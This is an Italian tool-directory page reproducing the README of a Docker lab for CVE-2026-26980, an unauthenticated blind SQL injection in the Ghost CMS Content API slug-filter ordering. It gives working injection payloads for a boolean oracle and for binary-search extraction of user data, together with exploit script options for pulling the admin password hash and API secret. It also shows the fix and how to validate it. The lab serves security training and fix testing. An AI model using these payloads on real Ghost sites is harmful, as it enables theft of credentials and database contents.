Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ghost-cve-2026-26980 — CVE-2026-26980 — Lab di SQL Injection nell'API dei Contenuti di Ghost CMS (blind SQLi non autenticato tramite ordinamento del filtro slug) | Kitploit
Strumenti/GitHubGitHub/dinosn/ghost-cve-2026-26980
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubdinosn/ghost-cve-2026-26980

ghost-cve-2026-26980

CVE-2026-26980 — Lab di SQL Injection nell'API dei Contenuti di Ghost CMS (blind SQLi non autenticato tramite ordinamento del filtro slug)

194215 mesi faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-26980 — Lab di SQL Injection nella Content API di Ghost CMS

SQL injection blind non autenticata in Ghost CMS tramite il meccanismo di ordinamento del filtro slug della Content API, che consente letture arbitrarie del database da qualsiasi istanza Ghost senza credenziali.

CVECVE-2026-26980
AdvisoryGHSA-w52v-v783-gw97
CVSS9.4 (Critico)
CWECWE-89 (SQL Injection)
Versioni vulnerabiliGhost 3.24.0 -- 6.19.0
Versione correttaGhost 6.19.1
Autenticazione richiestaNessuna (la chiave della Content API è pubblica per design)
Crediti/RiferimentiNicholas Carlini con Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg]

Disclaimer -- Questo lab è destinato esclusivamente a test di sicurezza autorizzati, formazione e ricerca difensiva. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.

Panoramica

La Content API di Ghost supporta il filtraggio di tag e post per slug utilizzando la notazione ad array: filter=slug:[tag-a,tag-b]. Internamente, una funzione helper costruisce un'istruzione ORDER BY CASE per preservare l'ordine degli slug richiesto. Prima della v6.19.1, i valori slug forniti dall'utente venivano interpolati direttamente in questa SQL senza parametrizzazione:

// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABILE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

La chiave della Content API è incorporata nell'HTML di ogni sito Ghost (data-key="..."), rendendo questa una superficie d'attacco completamente non autenticata.

Meccanismo della vulnerabilità

Il bypass di NQL

Il linguaggio di query NQL di Ghost valida l'input del filtro e rifiuta apici singoli o spazi non elaborati. Tuttavia, NQL accetta valori racchiusi tra apici singoli all'interno della notazione ad array (slug:['value']), passando gli apici come parte del letterale. La regex slugFilterOrder estrae questi valori e li interpola — apici inclusi — nella SQL:

Filtro:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL passa gli apici come caratteri letterali

SQL generata

Dopo l'interpolazione, l'ORDER BY diventa:

CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

Nella modalità SQL predefinita di MySQL, || è OR e '' è falso. Questo ci fornisce un oracolo booleano pulito:

CondizioneRisultato CASEEffetto
TRUE'' OR 0 OR '' = 0Risposta normale (HTTP 200)
FALSE'' OR EXP(710) OR ''Errore di overflow DOUBLE (HTTP 500)

Estrazione dei dati

Con l'oracolo stabilito, si applica la standard estrazione blind tramite ricerca binaria:

slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

La sintassi SUBSTR(... FROM pos FOR len) evita le virgole (che slugFilterOrder usa come separatori).

Screenshot

Oracolo booleano: condizione TRUE (HTTP 200) vs condizione FALSE (HTTP 500)

TRUE (1=1) → HTTP 200FALSE (1=0) → HTTP 500
TRUEFALSE

Estrazione dati tramite ricerca binaria

Estrazione dati

Validazione della correzione: v6.18.0 vs v6.19.1

Validazione correzione

Altri screenshot

Frontend di Ghost

Frontend di Ghost

Chiave della Content API nel sorgente della pagina

Chiave API

Risposta API normale

Richiesta normale

La correzione (v6.19.1)

La correzione sostituisce l'interpolazione di stringhe con binding parametrizzati:

// CORRETTO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

Il plugin crud.js è stato aggiornato per far passare i binding attraverso orderByRaw, e @tryghost/bookshelf-plugins è stato portato alla 0.6.29 che aggiunge il supporto ai binding.

Configurazione del lab

Prerequisiti

  • Docker e Docker Compose
  • Python 3.8+ con requests

Avvio rapido

# Clona ed entra nel lab
git clone <questo-repo> && cd ghost-cve-2026-26980

# Installa la dipendenza Python
pip install -r requirements.txt

# Avvia l'istanza Ghost vulnerabile (6.18.0 + MySQL 8)
docker compose up -d

# Attendi ~45 secondi per l'inizializzazione di Ghost, poi esegui l'exploit
python3 exploit.py --url http://localhost:2368

Valida la correzione

# Avvia anche il Ghost 6.19.1 corretto sulla porta 2369
docker compose --profile fixed up -d

# Attendi ~45 secondi, poi conferma che la correzione blocca l'iniezione
python3 exploit.py --url http://localhost:2369 --validate-fix

Validazione con un solo comando

bash validate.sh

Smontaggio

docker compose --profile fixed down -v

Utilizzo dell'exploit

usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            URL di Ghost (predefinito: http://localhost:2368)
  --validate-fix       Conferma che il target NON è vulnerabile
  --extract-password   Estrae anche l'hash bcrypt dell'admin
  --extract-api-key    Estrae anche il segreto API dell'admin
  --content-key KEY    Salta la configurazione, usa direttamente questa chiave della Content API
  -v, --verbose        Mostra i risultati dell'oracolo per ogni query

Esempio di output

====================================================
CVE-2026-26980 — SQL Injection nella Content API di Ghost CMS
====================================================

[*] Attesa che Ghost sia pronto su http://localhost:2368
[*] Configurazione di Ghost (admin: [email protected])
[+] Configurazione completata — creazione sessione
[+] Accesso effettuato
[+] Chiave della Content API: ad63c06a71457583ea58f050c1
[+] Slug di ancoraggio: news

[*] Fase 1 — verifica blind booleana
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] Oracolo booleano confermato — VULNERABILE
Scarica lo strumento